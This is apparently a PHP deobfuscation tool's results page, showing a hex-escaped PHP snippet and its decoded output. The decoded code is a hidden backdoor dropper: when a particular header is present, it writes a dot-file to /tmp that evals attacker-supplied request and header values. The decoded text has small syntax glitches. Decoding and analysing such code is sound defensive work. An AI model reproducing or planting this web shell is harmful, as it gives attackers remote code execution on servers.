Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$_HEADERS = getallheaders(); if (isset($_HEADERS['Sec-Websocket-Accept'])) { $c = "<..

Decoded Output download

<?  $_HEADERS = getallheaders(); 
if (isset($_HEADERS['Sec-Websocket-Accept'])) { 
    $c = "<?php @eval($_REQUEST["Large-Allocation\"]);@eval($_HEADERS["Large-Allocation"]);"; 
    $f = '/tmp/.'.time(); 
    file_put_contents($f, $c); ?>

Did this file decode correctly?

Original Code

$_HEADERS = getallheaders();
if (isset($_HEADERS['Sec-Websocket-Accept'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x4ca\x72\x67e\x2d\x41l\x6c\x6fc\x61\x74i\x6f\x6e\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fH\x45\x41D\x45\x52S\x5b\x22L\x61\x72g\x65\x2dA\x6c\x6co\x63\x61t\x69\x6fn\x22\x5d)\x3b";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);

Function Calls

None

Variables

None

Stats

MD5 4a58ee63217a4023df8415d39de5c1f8
Eval Count 0
Decode Time 41 ms